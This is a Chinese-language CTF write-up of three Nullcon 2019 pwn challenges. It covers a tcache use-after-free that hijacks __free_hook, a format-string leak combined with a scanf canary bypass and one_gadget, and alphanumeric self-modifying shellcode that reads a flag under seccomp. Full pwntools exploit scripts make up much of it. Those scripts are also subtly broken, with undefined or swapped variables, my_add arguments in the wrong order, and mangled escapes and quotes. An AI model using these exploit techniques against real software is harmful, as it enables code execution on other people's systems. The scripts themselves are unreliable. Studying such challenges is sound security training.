内容简介:题目还是比较有难度和借鉴意义的,可以开拓师傅的思路,大佬勿喷这道题刚开始
题目还是比较有难度和借鉴意义的,可以开拓师傅的思路,大佬勿喷
shop
这道题刚开始 leak libc
的时候忽略了libc是2.27,亏沈师傅还能用mollac_hook在本地打通。。。
题目分析
没有开pie,可喜可贺可喜可贺。
和标准的堆题相比,少了edit功能,也就是说必须在add时构造好堆。
看看add函数
可以总结出其结构体
name{ idx; *name_chunk; cp_stmt; #这是程序内的一段字符串,可以修改 }
再看看delete函数
that’s good! use after free!看来这道题不是很难了。
同理的view函数
仔细看可以发现一个格式化字符串漏洞,但我觉得这是一个非预期解,故这里还是用传统的堆利用解题。师傅们有兴趣可以对该漏洞进行深入利用。
漏洞利用
第一步,结合name结构题和uaf,控制name->name_chunk
my_add(0x50,"aaaa") my_add(0x50,"bbbb") my_add(0x50,"cccc") #num=3 用于防止与top_chunk合并 delete(0) # num=2 delete(1) # num=1 # 这时的tcache中为 size=0x40 size=0x60 size=0x40 size=0x60 payload=p64(0)+p64(e.got["free"]) my_add(0x38,payload) # 获得了两个size=0x40的chunk,并且把name->*name_chunk改为free_got
第二步,我们再利用view功能就能leak libc
p.recvuntil(""name": "") free_addr=p.recvuntil(""")[:-1].ljust(8,'x00') free_addr=u64(free_addr) print "free_addr->"+hex(free_addr)+" done" offset=free_addr-libc.symbols["free"]
在 https://libc.blukat.me
上查询得到libc版本为2.27,那么我们接下来的利用就要考虑tcache了,之前可以假装不知道。
tcache是ubuntu18.04引入的技术,其检查要比传统的堆宽松的多,所以利用起来也比较简单。个人认为在tcache相关的更新还没发布前tcache的利用应该要取代比赛中的入门堆题。
第三步,控制hook或者got表,然getshell
my_add("4", 0x50) my_add("5", 0x50) #清空tcache my_add("6", 0x68) my_add("/bin/shx00", 0x68) #7 my_add("/bin/shx00", 0x38) my_add("/bin/shx00", 0x68) my_add("/bin/shx00", 0x68) my_add("/bin/shx00", 0x68) my_add("/bin/shx00", 0x68) my_add("/bin/shx00", 0x68) delete(6) delete(6) #厉害吧,连续两次delete同一个chunk,程序没有报错 delete(8) #防止size为0x40的chunk用完 my_add(p64(offset+e.symbols["__free_hook"]), 0x68) my_add("consume", 0x68) my_add(p64(e.got["system"]+offset), 0x68) #fastbin dup的正常操作,但是tcache就是能不构造fake_chunk直接分配,简直爽到 delete(8) #为free_hook传入"/bin/shx00"参数,调用system() getshell
最后附上完整的exp
from pwn import * g_local=True context.log_level='debug' p = ELF('./challenge') e = ELF("./libc6_2.27.so") if g_local: p = process('./challenge')#env={'LD_PRELOAD':'./libc.so.6'} ONE_GADGET_OFF = 0x4526a UNSORTED_OFF = 0x3c4b78 gdb.attach(sh) else: ONE_GADGET_OFF = 0x4526a UNSORTED_OFF = 0x3c4b78 p = remote("pwn.ctf.nullcon.net", 4002) #ONE_GADGET_OFF = 0x4557a def my_add(size,name,price=0): sleep(0.1) p.sendlineafter("> ","1") p.sendlineafter("Book name length: ",str(size)) p.sendafter("Book name: ",name) p.sendlineafter("Book price: ",str(price)) def delete(idx): p.sendlineafter("> ","2") p.sendlineafter("Book index: ",str(idx)) def show(): p.sendlineafter("> ","3") my_add(0x50,"aaaa") my_add(0x50,"bbbb") my_add(0x50,"cccc") #num=3 用于防止与top_chunk合并 delete(0) # num=2 delete(1) # num=1 # 这时的tcache中为 size=0x40 size=0x60 size=0x40 size=0x60 payload=p64(0)+p64(e.got["free"]) my_add(0x38,payload) # 获得了两个size=0x40的chunk,并且把name->*name_chunk改为free_got p.recvuntil(""name": "") free_addr=p.recvuntil(""")[:-1].ljust(8,'x00') free_addr=u64(free_addr) print "free_addr->"+hex(free_addr)+" done" offset=free_addr-libc.symbols["free"] my_add("4", 0x50) my_add("5", 0x50) #清空tcache my_add("6", 0x68) my_add("/bin/shx00", 0x68) #7 my_add("/bin/shx00", 0x38) my_add("/bin/shx00", 0x68) my_add("/bin/shx00", 0x68) my_add("/bin/shx00", 0x68) my_add("/bin/shx00", 0x68) my_add("/bin/shx00", 0x68) delete(6) delete(6) #厉害吧,连续两次delete同一个chunk,程序没有报错 delete(8) #防止size为0x40的chunk用完 my_add(p64(offset+e.symbols["__free_hook"]), 0x68) my_add("consume", 0x68) my_add(p64(e.got["system"]+offset), 0x68) #fastbin dup的正常操作,但是tcache就是能不构造fake_chunk直接分配,简直爽到 delete(8) #为free_hook传入"/bin/shx00"参数,调用system() getshell p.interactive()
babypwn
说的babypwn如果不知道scanf的新绕过方法那也做不出来这个的题目的,如果知道那这个题目就是babypwn了。
静态分析
首先输入一个才能进入下面的循环,大概的程序就是先师傅name然后再输入how many coins,这里的漏洞有两个一个是格式化字符串一个是栈溢出,因为length可以自己控制输入-1就可以进行一个栈溢出的漏洞了。但是还是不太清楚利用的方法,这里我们往下看保护。
checksec
首先这里又个Full RELRO所以不可能去做一些格式化字符串改got表重复利用漏洞的操作,所以现在就考虑printf用来作为泄漏的操作了。接下来看一下存在canary可能需要进行一个泄漏。
动态分析
这里我的测试输入是
y->1->1->12
而12的16进制数就是0xc,因为在printf(即0x4006d0)并没有看见其他什么可泄漏的libc函数,这里就有一个想法就是在这里输入一些got表的地址然后用%s来进行指针的泄漏,所以这里可以试试进行一个地址泄漏,来查询libc和泄漏偏移。
这里我的输入是如上图,这里之所以要输入0是因为int是4位的一个地址是8位不能让后面的地址打乱了我们输入的指针地址。接下来就是我们的效果图了。
这里就可以用他们泄漏出地址。这个技巧还是需要读者不断进行调试然后一步一步得出来的。
problem
这里就存在一个小问题了,这里的printf只能利用一次,而且printf的信息是在程序完成后进行的所以我们是不可能利用他来进行一个canary leak因为到时候就晚了。。所以这里肯定是需要进行重复利用main函数那怎么用尼?
scanf(“%d”,*)的时候如果“-”“+”输入是不会破坏栈里的内容,但是会帮助你的输入到ret的地址。这样就可以帮助我们绕过canary。
思路利用
有了上面的分析这里的利用就比较简单了
一、先利用printf进行几个libc函数的泄漏,查出libc
二、利用scanf函数覆盖ret为main
三、利用scanf函数覆盖ret地址为onegadget
#!/usr/bin/env python from pwn import * context.log_level = ‘debug’ p = process(“./challenge”) a = ELF(“./challenge”) e = a.libc main = 0x400806 onegadget = 0x45216 free_got = 0x600FA8 p.sendline(‘y’) p.sendline(‘%8$s’) p.sendline(‘-1’) gdb.attach(p) p.sendline(str(free_got)) for i in range(25): p.sendline(‘+’) p.sendline(str(main)) p.sendline(str(0)) p.sendline(‘a’) p.recvuntil(“Tressure Box: “) libc_base = u64(p.recv()[:6].ljust(8, ‘x00’))-e.symbols[“free”] og = libc_base + og_offset p.sendline(‘y’) p.sendline(‘AAAA’) p.sendline(‘-1’) print hex(og) for i in range(26): p.sendline(‘+’) p.sendline(str(og&0xffffffff)) p.sendline(str((og>>32)&0xffffffff)) #因为int只能存4位数字所以需要分两次输入 p.sendline(‘y’) p.interactive()
Easy-shell
这个题目思路上不是很难但是在构造shellcode上就有一些难度了。
流程分析:
要求输入并且执行输入,所以判断是输入符合条件的shellcode获取flag 限制:
- 长度在 -getpagesize() & (本地获取此值为0x4000)内
- 要求输入为 字母或者数字
ν 源程序检测
ν 对 _ctype_b_loc 函数不太熟悉,使用代码对对应检测做测试
-
Shellcode不可执行execve (seccomp)
ν 看到有 prctl 函数 , ida 查看交叉引用 ,发现有一个函数调用了
ν 调用 prctl 的函数在init_array中 , 加载时调用
- Github上有大佬脚本可以完成 alphanum 的encode 工具
ν 也可以考虑下 msfvenom 的 alpha encoder - Seccomp 下的获取flag shellcode可以参考 pwnable.tw 的 orw , 此处使用shellcraft给出一个shellcode
shellc = shellcraft.amd64.linux.open(“flagx00”)
shellc += shellcraft.amd64.linux.read(“rax”, “rsp”,0x30)
shellc += shellcraft.amd64.linux.write(1 , “rsp” , 0x30)
手动版原理:
自修改shellcode
前提条件: shellcode 所在段 rwx
思路:
当前的限制是:shellcode的字节码只可以使用 字符或者数字组成,那么在shellcode所在段rwx 的前提下,我们可以利用第一组受限制的shellcode执行 read(0 , &shellcode , n) (因为需要调用shellcode (call $xxx) , 所以&shellcode 在寄存器中 ,具体情况具体分析) , 这样子可以读入第二组不受字母数字限制的shellcode覆盖第一组shellcode继续执行
注意点
因为我们需要调用 read , 所以需要使用软终端(int 0x80) 或者 快速系统调用(sysenter | syscall) 来对read进行调用
本题中推荐使用 syscall , 因为syscall 的调用表中 read 的调用号为0 , 较好获取 (int 0x80 的调用表中 read 的调用号为 3 , 在amd64下, inc 和 dec 受限制不可使用 , 数字3较难获取)
需要用 异或 去获取 syscall 的 字节码 | (手动脚本中使用 0x3539 ^ 0x3036 来获得 0x050f (syscall))
函数调用表国际赛的题目确实很能让人大开眼界。。认识到自己的不足学到新知识,pwn的路上,道阻且长啊!
以上所述就是小编给大家介绍的《Nullcon2019-pwn详解》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- Flutter 完整开发实战详解(十六、详解自定义布局实战)
- 数据结构 1 线性表详解 链表、 栈 、 队列 结合JAVA 详解
- 详解Openstack环境准备
- Java泛型详解
- iOS RunLoop 详解
- Raft协议详解
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。